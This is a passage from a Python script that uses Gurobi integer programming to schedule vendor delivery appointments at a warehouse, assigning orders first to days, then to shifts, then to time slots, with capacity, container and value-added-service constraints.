exp_units:\r\n pass\r\n else:\r\n exp_units[(i,str(j))] = 0\r\n \r\n std_ref = {}\r\n std_sh = {}\r\n stnd_ref = []\r\n stnd_ref2 = []\r\n stnd_ref3 = []\r\n logger.info(\"Starting to schedule standing appointments\")\r\n for j in dt.keys():\r\n p = 0\r\n if vendor[j] in stnd_date.keys():\r\n for k in dt[j]:\r\n if k in stnd_date[vendor[j]]:\r\n cnt = 1\r\n for l in stnd_time[vendor[j]]:\r\n if (k,l,vendor[j]) in stnd_fl.keys():\r\n cnt = cnt+1\r\n if stnd_fl[(k,l,vendor[j])] == '0' and p == 0 and slot[k] < (slot_count[(k,'1')] + slot_count[(k,'2')]) and units[k] < 1.05 * (f[k][0]+f[k][1]):\r\n if l in ['06:30:00','08:00:00','09:00:00','10:00:00'] and sch_sh[(k,'1')][2] < slot_count[(k,'1')] and date_fl[k] == '0' and (vendor[j],'1') in v_units: \r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(j)\r\n else:\r\n out_3[(k,l)] = [j]\r\n stnd_fl[(k,l,vendor[j])] = '1'\r\n p = 1\r\n exp_units[(k,'1')] = exp_units[(k,'1')] - v_units[(vendor[j],'1')][0]\r\n elif l in ['16:00:00','16:30:00','17:00:00','21:45:00','22:45:00'] and sch_sh[(k,'2')][2] < slot_count[(k,'2')] and date_fl[k] == '0' and (vendor[j],'2') in v_units:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(j)\r\n else:\r\n out_3[(k,l)] = [j]\r\n stnd_fl[(k,l,vendor[j])] = '1'\r\n p = 1\r\n exp_units[(k,'2')] = exp_units[(k,'2')] - v_units[(vendor[j],'2')][0]\r\n elif l in ['06:30:00','07:30:00','09:00:00','10:00:00','16:30:00','21:45:00','22:45:00'] and sch_sh[(k,'1')][2] < slot_count[(k,'1')] and date_fl[k] == '1' and (vendor[j],'1') in v_units:\r\n if (k,l) in out_3:\r\n out_3[(k,l)].append(j)\r\n else:\r\n out_3[(k,l)] = [j]\r\n stnd_fl[(k,l,vendor[j])] = '1'\r\n p = 1\r\n exp_units[(k,'1')] = exp_units[(k,'1')] - v_units[(vendor[j],'1')][0]\r\n else:\r\n pass\r\n if p == 1:\r\n stnd_ref.append(j)\r\n slot[k] = slot[k]+1\r\n units[k] = units[k] + units_sku_obj[j][0]\r\n if (k,l) in sch_slot:\r\n sch_slot[(k,l)] = sch_slot[(k,l)] + 1\r\n else:\r\n sch_slot[(k,l)] = 1\r\n if k in std_ref:\r\n std_ref[k].append(j)\r\n else:\r\n std_ref[k] = [j]\r\n if l in day_slots[date_fl[k]]:\r\n if (k,1) in std_sh:\r\n std_sh[(k,1)].append(j)\r\n else:\r\n std_sh[(k,1)] = [j]\r\n else:\r\n if (k,2) in std_sh:\r\n std_sh[(k,2)].append(j)\r\n else:\r\n std_sh[(k,2)] = [j]\r\n if (k,l,'B000046') in stnd_fl.keys():\r\n if stnd_fl[(k,l,'B000046')] == '1':\r\n sch_vas_fl[(k,l)] = '1'\r\n gh = 0\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if d == l and gh != 0 and gh != len(day_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(day_slots[date_fl[k]]):\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(day_slots[date_fl[k]]):\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n gh = gh+1\r\n \r\n gh = 0\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if d == l and gh != 0 and gh != len(night_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(night_slots[date_fl[k]]):\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(night_slots[date_fl[k]]):\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n gh = gh+1 \r\n else:\r\n if p == 0 and slot[k] + 1 < (slot_count[(k,'1')] + slot_count[(k,'2')]) -5 and units[k] + exp_units[(k,'1')] + exp_units[(k,'2')] + units_sku_obj[j][0] < 1.05 * (f[k][0]+f[k][1]) and cnt > len(stnd_time[vendor[j]]):\r\n if k in std_ref:\r\n std_ref[k].append(j)\r\n else:\r\n std_ref[k] = [j]\r\n p = 1\r\n slot[k] = slot[k] + 1\r\n units[k] = units[k] + units_sku_obj[j][0]\r\n stnd_ref3.append(j)\r\n else:\r\n pass\r\n else:\r\n pass\r\n else:\r\n pass\r\n for i,j in out_3.keys():\r\n for k in out_3[(i,j)]:\r\n if b[k] == '1':\r\n temp_bulk[(i,j)] = '1'\r\n for i in sch_dict.keys():\r\n if date_fl[i] == '0':\r\n if (sch_dict[i][0] < 1.05 * (f[i][0]+f[i][1])) and (sch_sh[(i,'1')][2] >= len(day_slots[date_fl[i]])*2 or sch_sh[(i,'2')][2] >= len(night_slots[date_fl[i]])*2):\r\n slot_count[(i,'1')] = len(day_slots[date_fl[i]])*3 \r\n slot_count[(i,'2')] = len(night_slots[date_fl[i]])*3 \r\n else:\r\n pass\r\n else:\r\n if (sch_dict[i][0] < 1.05 * f[i]) and (sch_sh[(i,'1')][2] >= len(day_slots[date_fl[i]])*2):\r\n slot_count[(i,'1')] = len(day_slots[date_fl[i]])*3 \r\n else:\r\n pass\r\n logger.info(\"Standing Appointment Scheduled\")\r\n #adding exsisting standing appointment slots\r\n for (i,j,k) in stnd_fl.keys():\r\n if stnd_fl[(i,j,k)] == '0':\r\n if (i,j) in sch_slot:\r\n sch_slot[(i,j)] = sch_slot[(i,j)]+1\r\n if i in sch_dict:\r\n sch_dict[i][2] = sch_dict[i][2] + 1\r\n else:\r\n sch_dict[i] = [0,0,0]\r\n sch_dict[i][2] = 1\r\n if j in day_slots[date_fl[i]]:\r\n if (i,'1') in sch_sh:\r\n sch_sh[(i,'1')][2] = sch_sh[(i,'1')][2] + 1\r\n else:\r\n sch_sh[(i,'1')] = [0,0,0]\r\n sch_sh[(i,'1')][2] = 1\r\n else:\r\n if (i,'2') in sch_sh:\r\n sch_sh[(i,'2')][2] = sch_sh[(i,'2')][2] + 1\r\n else:\r\n sch_sh[(i,'2')] = [0,0,0]\r\n sch_sh[(i,'2')][2] = 1\r\n else:\r\n sch_slot[(i,j)] = 1\r\n if i in sch_dict:\r\n sch_dict[i][2] = sch_dict[i][2] + 1\r\n else:\r\n sch_dict[i] = [0,0,0]\r\n sch_dict[i][2] = 1\r\n if j in day_slots[date_fl[i]]:\r\n if (i,'1') in sch_sh:\r\n sch_sh[(i,'1')][2] = sch_sh[(i,'1')][2] + 1\r\n else:\r\n sch_sh[(i,'1')] = [0,0,0]\r\n sch_sh[(i,'1')][2] = 1\r\n else:\r\n if (i,'2') in sch_sh:\r\n sch_sh[(i,'2')][2] = sch_sh[(i,'2')][2] + 1\r\n else:\r\n sch_sh[(i,'2')] = [0,0,0]\r\n sch_sh[(i,'2')][2] = 1\r\n #calculating expected units\r\n for (i,j,k) in stnd_fl.keys():\r\n if stnd_fl[(i,j,k)] == '0':\r\n if j in day_slots[date_fl[i]]:\r\n if(k,'1') in v_units:\r\n if (i,'1') in exp_units:\r\n exp_units[(i,'1')] = exp_units[(i,'1')] + v_units[(k,'1')][0]\r\n print(exp_units[(i,'1')])\r\n else:\r\n exp_units[(i,'1')] = v_units[(k,'1')][0]\r\n print(exp_units[(i,'1')])\r\n else:\r\n pass\r\n else:\r\n if(k,'2') in v_units:\r\n if (i,'2') in exp_units:\r\n exp_units[(i,'2')] = exp_units[(i,'2')] + v_units[(k,'2')][0]\r\n else:\r\n exp_units[(i,'2')] = v_units[(k,'2')][0]\r\n else:\r\n pass\r\n \r\n else:\r\n pass\r\n for (i,j) in sch_sh.keys():\r\n if (i,j) in exp_units:\r\n pass\r\n else:\r\n exp_units[(i,j)] = 0 \r\n \r\n bulk_break = {}\r\n for i in sch_dict.keys():\r\n gh = 0\r\n for j in day_slots[date_fl[i]]:\r\n if (i,j) in temp_bulk.keys():\r\n bulk_break[(i,j)] = '1'\r\n if temp_bulk[(i,j)] == '1' and gh != 0 and gh != len(day_slots[date_fl[i]])-1:\r\n w = gh-1\r\n if w < len(day_slots[date_fl[i]]):\r\n bulk_break[(i,day_slots[date_fl[i]][w])] = '2'\r\n w = gh+1\r\n if w < len(day_slots[date_fl[i]]):\r\n bulk_break[(i,day_slots[date_fl[i]][w])] = '2'\r\n elif temp_bulk[(i,j)] == '1' and gh == 0:\r\n w = gh+1\r\n bulk_break[(i,day_slots[date_fl[i]][w])] = '2'\r\n elif temp_bulk[(i,j)] == '1' and gh == len(day_slots[date_fl[i]])-1:\r\n w = gh-1\r\n bulk_break[(i,day_slots[date_fl[i]][w])] = '2'\r\n else:\r\n pass\r\n else:\r\n bulk_break[(i,j)] = '0'\r\n gh = gh+1\r\n gh = 0\r\n for j in night_slots[date_fl[i]]:\r\n if (i,j) in temp_bulk.keys():\r\n bulk_break[(i,j)] = '1'\r\n if temp_bulk[(i,j)] == '1' and gh != 0 and gh != len(night_slots[date_fl[i]])-1:\r\n w = gh-1\r\n if w < len(night_slots[date_fl[i]]):\r\n bulk_break[(i,night_slots[date_fl[i]][w])] = '2'\r\n w = gh+1\r\n if w < len(night_slots[date_fl[i]]):\r\n bulk_break[(i,night_slots[date_fl[i]][w])] = '2'\r\n elif temp_bulk[(i,j)] == '1' and gh == 0:\r\n w = gh+1\r\n bulk_break[(i,night_slots[date_fl[i]][w])] = '2'\r\n elif temp_bulk[(i,j)] == '1' and gh == len(night_slots[date_fl[i]])-1:\r\n w = gh-1\r\n bulk_break[(i,night_slots[date_fl[i]][w])] = '2'\r\n else:\r\n pass\r\n else:\r\n bulk_break[(i,j)] = '0'\r\n gh = gh+1\r\n for (i,j) in slot_count.keys():\r\n if sch_sh[(i,j)][2] >= slot_count[(i,j)]:\r\n slot_count[(i,j)] = sch_sh[(i,j)][2] \r\n else:\r\n pass\r\n logger.info(\"Building LP Model at Day level\")\r\n # Solver Part I\r\n #Intializing day model\r\n while True:\r\n m1 = Model()\r\n #variable declaration\r\n x = {}\r\n slack = {}\r\n for j in dt.keys():\r\n if j not in infeas_ref and j not in stnd_ref2:\r\n for k in dt[j]:\r\n x[j,k] = m1.addVar(lb=0,ub=1,vtype=GRB.BINARY,name='x[%s;%s]' %(j,k))\r\n m1.update()\r\n for j in ref.keys():\r\n slack[j] = m1.addVar(lb=0,ub=GRB.INFINITY,vtype=GRB.INTEGER,name='slack[%s]'%(j))\r\n U = m1.addVar(lb=0,ub=GRB.INFINITY,vtype=GRB.CONTINUOUS,name ='U')\r\n S = m1.addVar(lb=0,ub=GRB.INFINITY,vtype=GRB.CONTINUOUS,name='S')\r\n #objective function declaration\r\n o ={}\r\n for j in objec.keys():\r\n if j not in infeas_ref and j not in stnd_ref2:\r\n o[j] = quicksum(objec[j][k-1]*x[j,dt[j][k-1]] for k in range(1,len(objec[j])+1))\r\n \r\n m1.setObjectiveN(quicksum(o[j] for j in o.keys()),index = 0,priority = 3, name ='ORDD')\r\n m1.setObjectiveN(U,index = 1,priority = 1, name = 'unit_dist')\r\n m1.setObjectiveN(S,index = 2,priority = 1, name = 'UPT')\r\n m1.setObjectiveN(quicksum(100000000*slack[j] for j in slack.keys()),index = 4,priority = 3, name ='Slack Variable')\r\n #decalaring model sense\r\n m1.modelSense = GRB.MINIMIZE\r\n #adding constraints\r\n m1.update()\r\n cap = {}\r\n unit ={}\r\n sku = {}\r\n break_appt ={}\r\n day_assign = {}\r\n appt_assign = {}\r\n stand_appt = {}\r\n con_appt = {}\r\n temp_out1 = {}\r\n slack_cons = {}\r\n vas_cons = {}\r\n vas_appt_assign = {}\r\n for j in ref.keys():\r\n #capcity constraint\r\n cap[j] = m1.addConstr(quicksum(units_sku_obj[k][0]*x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2)-slack[j],GRB.LESS_EQUAL,(1.05*(f[j][0]+f[j][1]))-sch_dict[j][0]-exp_units[j,'1']-exp_units[j,'2'], name ='cap[%s]' %(j))\r\n #cap[j] = m1.addConstr(quicksum(units_sku_obj[k][0]*x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2),GRB.LESS_EQUAL,(1.05*f[j])-sch_dict[j][0]-exp_units[j,'1']-exp_units[j,'2'], name ='cap[%s]' %(j))\r\n #unit distribution constraint\r\n unit[j,1] = m1.addConstr(U,GRB.GREATER_EQUAL,(exp_units[j,'1']+exp_units[j,'2']+sch_dict[j][0]+quicksum(units_sku_obj[k][0]*x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2)-f[j][0]-f[j][1]),name = 'unit[%s;%d]' %(j,1))\r\n unit[j,2] = m1.addConstr(U,GRB.GREATER_EQUAL,(-exp_units[j,'1']-exp_units[j,'2']-sch_dict[j][0]-quicksum(units_sku_obj[k][0]*x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2)+f[j][0]+f[j][1]),name = 'unit[%s;%d]' %(j,2))\r\n #sku distribution constraint\r\n sku[j] = m1.addConstr(S,GRB.GREATER_EQUAL,sch_dict[j][1]+quicksum(units_sku_obj[k][1]*x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2), name = 'sku[%s]'%(j))\r\n #vas constraint\r\n vas_cons[j] = m1.addConstr(quicksum(vas_units[k] * x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref),GRB.LESS_EQUAL,8000 - sch_vas[j],name='vas_day[%s]'%(j))\r\n #day assignment constraint\r\n day_assign[j] = m1.addConstr(quicksum(x[k,j] for k in ref[j] if k not in infeas_ref and k not in stnd_ref2), GRB.LESS_EQUAL,(slot_count[(j,'1')]+slot_count[(j,'2')])- sch_dict[j][2], name='day_assign[%s]' %(j))\r\n #container appointment constraints\r\n con_appt[j] = m1.addConstr(quicksum(x[k,j] for k in ref[j] if cnt_fl[k]=='3.0' and k not in infeas_ref and date_fl[j] == '0'),GRB.LESS_EQUAL,cont_appt[j],name='con_appt[%s]' %(j))\r\n m1.update()\r\n for j in dt.keys():\r\n if j not in infeas_ref and j not in stnd_ref2:\r\n appt_assign[j] = m1.addConstr(quicksum(x[j,k] for k in dt[j]), GRB.EQUAL,1, name = 'appt_assign[%s]'%(j))\r\n m1.update()\r\n for j in dt.keys():\r\n if j not in infeas_ref and j not in stnd_ref2 and vas_flag[j] == '1' and j not in std_ref:\r\n vas_appt_assign[j] = m1.addConstr(quicksum(x[j,k] for k in dt[j] if k not in vas_dt),GRB.EQUAL,1)\r\n m1.update()\r\n #standing_appointment_constraint\r\n for j in std_ref.keys():\r\n for k in std_ref[j]:\r\n stand_appt[(j,k)] = m1.addConstr(x[k,j],GRB.EQUAL,1,name='stand_appt[%s;%s]'%(j,k))\r\n m1.Params.timeLimit = 600 #declaring timelimit for running model\r\n m1.write('day_model.lp') #writing the day model\r\n m1.optimize()#Optimizing the day model\r\n #printing Solver Part I Solution\r\n if m1.status == GRB.OPTIMAL or m1.status == GRB.TIME_LIMIT:\r\n for j,k in x.keys():\r\n if x[j,k].x > 0:\r\n if k in out_1:\r\n out_1[k].append(j)\r\n else:\r\n out_1[k]= [j]\r\n break\r\n else:\r\n print(\"The day model became infeasible\")\r\n logging.info(\"The day model became infeasible\")\r\n m1.computeIIS()#computing infeasibility\r\n m1.write('day_model_DFW.ilp')#writing causes of infeasibility\r\n m1.write('day_model_failed.lp')\r\n M1 = M1+1\r\n if len(infeas_ref) + len(stnd_ref) < len(dt.keys()):\r\n a = max(units_sku_obj[j][0] for j in units_sku_obj.keys() if j not in stnd_ref and j not in infeas_ref)\r\n for j in units_sku_obj.keys():\r\n if units_sku_obj[j][0] == a:\r\n infeas_ref.append(j)\r\n else:\r\n pass\r\n else:\r\n break\r\n if m1.status == GRB.OPTIMAL or m1.status == GRB.TIME_LIMIT: \r\n for j in infeas_ref:\r\n for k in ref_num[j]:\r\n infeasible_day[(j,k)] = [str(TODAY),'DFW1','None',str(j),str(k),dt[j][0],cr_dt[j],'NOT_OPTIMAL']\r\n else:\r\n for j in dt.keys():\r\n for k in ref_num[j]:\r\n infeasible_day[(j,k)] = [str(TODAY),'DFW1','None',str(j),str(k),dt[j][0],cr_dt[j],'NOT_OPTIMAL']\r\n df_day = pd.DataFrame(data = infeasible_day.values())\r\n logger.info(\"Solved LP Model at Day level\")\r\n #Solver Part II\r\n #Initializing Shift Model\r\n logger.info(\"Building LP Model at Shift level\")\r\n for j in out_1.keys():\r\n if date_fl[j] == '0':\r\n m2 = Model()\r\n #variable declaration and objective function declaration\r\n y = {}\r\n for k in out_1[j]:\r\n y[j,k,1] = m2.addVar(lb=0,ub=1,vtype=GRB.BINARY, name= 'y[%s;%s;%d]'%(j,k,1))\r\n y[j,k,2] = m2.addVar(lb=0,ub=1,vtype=GRB.BINARY,name='y[%s;%s;%d]'%(j,k,2))\r\n m2.update()\r\n #declaring model Sense\r\n US = m2.addVar(lb=0,ub=GRB.INFINITY,vtype=GRB.CONTINUOUS,name ='US')\r\n SS = m2.addVar(lb=0,ub=GRB.INFINITY,vtype=GRB.CONTINUOUS,name ='SS')\r\n m2.setObjectiveN(US,index=0,priority=1,name='unit_dist')\r\n m2.setObjectiveN(SS,index=1,priority=1,name='UPT')\r\n m2.modelSense = GRB.MINIMIZE\r\n #adding constraint\r\n shift_limit = {}\r\n shift_dist = {}\r\n shift_assign = {}\r\n shift_stand = {}\r\n unit_shift = {}\r\n sku_shift = {}\r\n day1 = {}\r\n night1 = {}\r\n day2 = {} \r\n night2 ={}\r\n vas_shift_cons = {}\r\n vas_shift_appt = {}\r\n #day_shift Slot limitation\r\n shift_limit[j,1] = m2.addConstr(quicksum(y[j,k,1] for k in out_1[j]),GRB.LESS_EQUAL,slot_count[(j,'1')]-sch_sh[(j,'1')][2],name='shift_limit[%s;%d]'%(j,1))\r\n #night shift limitation\r\n shift_limit[j,2] = m2.addConstr(quicksum(y[j,k,2] for k in out_1[j]), GRB.LESS_EQUAL,slot_count[(j,'2')]-sch_sh[(j,'2')][2],name='shift_limit[%s;%d]'%(j,2))\r\n #vas limitation day shift\r\n if sch_vas_sh[j,'1'] <= 4000:\r\n vas_shift_cons[j,1] = m2.addConstr(quicksum(vas_units[k] * y[j,k,1] for k in out_1[j] if k not in stnd_ref),GRB.LESS_EQUAL,4000-sch_vas_sh[j,'1'],name= 'vas_shift_cons[%s;%d]' %(j,1))\r\n #vas limitation night shift\r\n if sch_vas_sh[j,'2'] <= 4000:\r\n vas_shift_cons[j,2] = m2.addConstr(quicksum(vas_units[k] * y[j,k,2] for k in out_1[j] if k not in stnd_ref),GRB.LESS_EQUAL,4000-sch_vas_sh[j,'2'],name= 'vas_shift_cons[%s;%d]' %(j,2))\r\n #data structures for model\r\n day1[(j,1)] = quicksum(units_sku_obj[k][0] * y[j,k,1] for k in out_1[j])\r\n night1[(j,1)] = quicksum(units_sku_obj[k][0] * y[j,k,2] for k in out_1[j])\r\n day2[(j,2)] = quicksum(units_sku_obj[k][1] * y[j,k,1] for k in out_1[j])\r\n night2[(j,2)] = quicksum(units_sku_obj[k][1] * y[j,k,2] for k in out_1[j])\r\n \r\n m2.update()\r\n #slot assignment constraint \r\n for k in out_1[j]:\r\n shift_assign[j,k] = m2.addConstr(quicksum(y[j,k,l] for l in range(1,3)),GRB.EQUAL,1,name='shift_assign[%s;%s]'%(j,k))\r\n m2.update()\r\n for k in out_1[j]:\r\n if vas_flag[k] == '1' and k not in std_ref:\r\n vas_shift_appt[j,k]= m2.addConstr(quicksum(y[j,k,l] for l in range(1,3) if (j,str(l)) not in vas_dt),GRB.EQUAL,1)\r\n #Shift Standing appointments\r\n for (k,l) in std_sh.keys():\r\n if k == j:\r\n for m in std_sh[(k,l)]:\r\n shift_stand[(k,l)] = m2.addConstr(y[k,m,l],GRB.EQUAL,1,name = 'shift_stand[%s;%s]'%(k,m))\r\n \r\n \r\n \r\n #container Standing appointments\r\n pw=0\r\n for k in out_1[j]:\r\n if cnt_fl[k]== '3.0':\r\n if pw == 0 and cont_appt[j] == 0:\r\n shift_stand[j,k] = m2.addConstr(y[j,k,1],GRB.EQUAL,1,name = 'shift_stand[%s;%s]'%(j,k))\r\n pw = pw+1\r\n else:\r\n shift_stand[j,k] = m2.addConstr(y[j,k,2],GRB.EQUAL,1,name = 'shift_stand[%s;%s]'%(j,k))\r\n \r\n #day shift unit limitation\r\n unit_shift[j,1]= m2.addConstr(US,GRB.GREATER_EQUAL,f[j][0]-sch_sh[(j,'1')][0]-day1[(j,1)]-exp_units[(j,'1')],name='unit_shift[%s;%d]'%(j,1))\r\n unit_shift[j,3]= m2.addConstr(US,GRB.GREATER_EQUAL,sch_sh[(j,'1')][0]+day1[(j,1)]+exp_units[(j,'1')]-f[j][0],name='unit_shift[%s;%d]'%(j,3))\r\n #night shift unit limitation\r\n unit_shift[j,2]= m2.addConstr(US,GRB.GREATER_EQUAL,f[j][1]-sch_sh[(j,'2')][0]-night1[(j,1)]-exp_units[(j,'2')],name='unit_shift[%s;%d]'%(j,2))\r\n unit_shift[j,4]= m2.addConstr(US,GRB.GREATER_EQUAL,sch_sh[(j,'2')][0]+night1[(j,1)]+exp_units[(j,'2')]-f[j][1],name='unit_shift[%s;%d]'%(j,4))\r\n #day shift SKU limitation\r\n sku_shift[j,1]= m2.addConstr(SS,GRB.GREATER_EQUAL,sch_sh[(j,'1')][1]+day2[(j,2)],name='sku_shift[%s;%d]'%(j,1))\r\n #night shift SKU limitation\r\n sku_shift[j,2]= m2.addConstr(SS,GRB.GREATER_EQUAL,sch_sh[(j,'2')][1]+night2[(j,2)],name='sku_shift[%s;%d]'%(j,2))\r\n m2.update\r\n m2.Params.timeLimit = 600 #declaring timelimit for running model\r\n m2.write('shift_model.lp')#writing shift model\r\n m2.optimize()#Optimizing shift model\r\n #Printing Solver Part II solutions\r\n if m2.status == GRB.OPTIMAL or m2.status == GRB.TIME_LIMIT:\r\n for j,k,l in y.keys():\r\n if y[j,k,l].x > 0:\r\n if (j,l) in out_2:\r\n out_2[(j,l)].append(k)\r\n else:\r\n out_2[(j,l)] = [k]\r\n \r\n else:\r\n print(\"The shift model became infeasible\")\r\n logging.info(\"The shift model became infeasible\")\r\n m2.computeIIS()#computing infeasibility\r\n m2.write('shift_model_DFW.ilp')#writing causes of infeasibility\r\n m2.write('shift_model_failed.lp')\r\n m2.write('day_model_failed.lp')\r\n M2 = M2 +1 \r\n std = out_1[j]\r\n for k in std:\r\n for l in ref_num[k]:\r\n infeas_shift[(k,l)] = [str(TODAY),'DFW1','None',str(k),str(l),dt[k][0],cr_dt[k],'NOT_OPTIMAL']\r\n else:\r\n for k in out_1[j]:\r\n if (j,1) in out_2:\r\n out_2[(j,1)].append(k)\r\n else:\r\n out_2[(j,1)] = [k]\r\n df_sh = pd.DataFrame(data = infeas_shift.values())\r\n logger.info(\"Solved LP Model at Shift level\")\r\n #scheduling time slots\r\n #standing_appointment_slots\r\n out_copy = out_2.copy() \r\n st_slot = []\r\n \r\n #container_appointment_slots\r\n #Scheduling time slots\r\n logger.info(\"Scheduling time slots\")\r\n M3 = 1\r\n for (k,j) in out_2.keys():\r\n while len(out_2[(k,j)]) > 0:\r\n a = out_2[(k,j)].pop(0)\r\n if a not in stnd_ref:\r\n p = 0\r\n if cnt_fl[a] == '3.0': #container appointments\r\n if sch_slot[(k,'05:00:00','c')] < 1:\r\n if p == 0:\r\n if (k,'05:00:00') in out_3:\r\n out_3[(k,'05:00:00')].append(a)\r\n p = 1\r\n sch_slot[(k,'05:00:00','c')] = sch_slot[(k,'05:00:00','c')] + 1\r\n bulk_break[(k,'05:00:00')] = '1'\r\n bulk_break[(k,'05:30:00')] = '2'\r\n else:\r\n out_3[k,'05:00:00'] = [a]\r\n p = 1\r\n sch_slot[(k,'05:00:00','c')] = sch_slot[(k,'05:00:00','c')] + 1\r\n bulk_break[(k,'05:00:00')] = '1'\r\n bulk_break[(k,'05:30:00')] = '2'\r\n elif sch_slot[(k,'15:00:00','c')] < 1:\r\n if p == 0:\r\n if (k,'15:00:00') in out_3:\r\n out_3[(k,'15:00:00')].append(a)\r\n p = 1\r\n sch_slot[(k,'15:00:00','c')] = sch_slot[(k,'15:00:00','c')] + 1\r\n bulk_break[(k,'15:00:00')] = '1'\r\n else:\r\n out_3[k,'15:00:00'] = [a]\r\n p = 1\r\n sch_slot[(k,'15:00:00','c')] = sch_slot[(k,'15:00:00','c')] + 1\r\n bulk_break[(k,'15:00:00')] = '1'\r\n elif sch_slot[(k,'08:00:00','c')] < 1:\r\n if p == 0:\r\n if (k,'08:00:00') in out_3:\r\n out_3[(k,'08:00:00')].append(a)\r\n p = 1\r\n sch_slot[(k,'08:00:00','c')] = sch_slot[(k,'08:00:00','c')] + 1\r\n bulk_break[(k,'08:00:00')] = '1'\r\n else:\r\n out_3[k,'08:00:00'] = [a]\r\n p = 1\r\n sch_slot[(k,'08:00:00','c')] = sch_slot[(k,'08:00:00','c')] + 1\r\n bulk_break[(k,'08:00:00')] = '1'\r\n elif sch_slot[(k,'19:00:00','c')] < 1:\r\n if p == 0:\r\n if (k,'19:00:00') in out_3:\r\n out_3[(k,'19:00:00')].append(a)\r\n p = 1\r\n sch_slot[(k,'19:00:00','c')] = sch_slot[(k,'19:00:00','c')] + 1\r\n bulk_break[(k,'19:00:00')] = '1'\r\n else:\r\n out_3[k,'19:00:00'] = [a]\r\n p = 1\r\n sch_slot[(k,'19:00:00','c')] = sch_slot[(k,'19:00:00','c')] + 1\r\n bulk_break[(k,'19:00:00')] = '1'\r\n else:\r\n pass\r\n \r\n elif vas_flag[a] == '1':\r\n if j == 1:\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if p == 0 and sch_vas_fl[(k,d)] == '0' and sch_slot[(k,d)] < 2 :\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if p == 0 and sch_vas_fl[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if p == 0 and sch_slot[(k,d)] <= 2 and sch_vas_fl[(k,d)] == '0':\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else: \r\n pass\r\n else:\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and sch_vas_fl[(k,d)] == '0' and sch_slot[(k,d)] < 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and sch_vas_fl[(k,d)] == '0' and sch_slot[(k,d)] <= 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if p == 0 and sch_slot[(k,d)] <= 3 and sch_vas_fl[(k,d)] == '0':\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n sch_vas_fl[(k,d)] = '1'\r\n else: \r\n pass\r\n \r\n if p == 1:\r\n gh = 0\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if sch_vas_fl[(k,d)] == '1' and gh != 0 and gh != len(day_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(day_slots[date_fl[k]]):\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(day_slots[date_fl[k]]):\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n elif sch_vas_fl[(k,d)] == '1' and gh == 0:\r\n w = gh+1\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n elif j == k and sch_vas_fl[(k,d)] == '1' and gh == len(day_slots[date_fl[k]])-1:\r\n w = gh-1\r\n sch_vas_fl[(k,day_slots[date_fl[k]][w])] = '2'\r\n else:\r\n pass\r\n gh = gh+1\r\n gh = 0\r\n for d in sorted(night_slots[date_fl[k]]):\r\n if sch_vas_fl[(k,d)] == '1' and gh != 0 and gh != len(night_slots[date_fl[k]])-1:\r\n w = gh-1\r\n if w < len(night_slots[date_fl[k]]):\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n w = gh+1\r\n if w < len(night_slots[date_fl[k]]):\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n elif sch_vas_fl[(k,d)] == '1' and gh == 0:\r\n w = gh+1\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n elif sch_vas_fl[(k,d)] == '1' and gh == len(night_slots)-1:\r\n w = gh-1\r\n sch_vas_fl[(k,night_slots[date_fl[k]][w])] = '2'\r\n else:\r\n pass\r\n gh = gh+1\r\n elif b[a] == '1':\r\n if j == 1:\r\n for d in sorted(day_slots[date_fl[k]]):\r\n if p == 0 and bulk_break[(k,d)] == '0' and sch_slot[(k,d)] < 2:\r\n if (k,d) in out_3:\r\n out_3[(k,d)].append(a)\r\n else:\r\n out_3[(k,d)] = [a]\r\n p = 1\r\n bulk_break[(k,d)] = '1'\r\n else:\r\n pass\r\n for d in 